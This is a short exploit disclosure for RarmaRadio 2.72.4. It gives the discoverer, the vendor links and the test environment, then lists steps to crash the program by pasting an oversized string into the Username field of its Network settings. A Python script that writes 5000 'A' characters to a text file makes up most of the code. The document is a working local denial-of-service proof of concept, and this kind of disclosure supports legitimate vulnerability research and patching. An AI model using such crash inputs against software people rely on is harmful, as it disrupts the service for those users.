RarmaRadio 2.72.4 - 'username' Denial of Service (PoC)

# Exploit Title: RarmaRadio 2.72.4 - 'username' Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-02-05
# Vendor Homepage: http://www.raimersoft.com/rarmaradio.html
# Software Link : http://www.raimersoft.com/downloads/rarmaradio_setup.exe
# Tested Version: 2.72.4
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

#Steps to produce the crash:
#1.- Run python code: rarmaradio_username.py
#2.- Open RarmaRadio2.72.4_username.txt and copy content to clipboard
#3.- Open RarmaRadio
#4.- Select "Edit" > "Settings" > "Network"
#5.- In "Username" field paste Clipboard
#6.- Select "OK"
#7.- Crashed
buffer = "\x41" * 5000
f = open ("RarmaRadio2.72.4_username.txt", "w")
f.write(buffer)
f.close()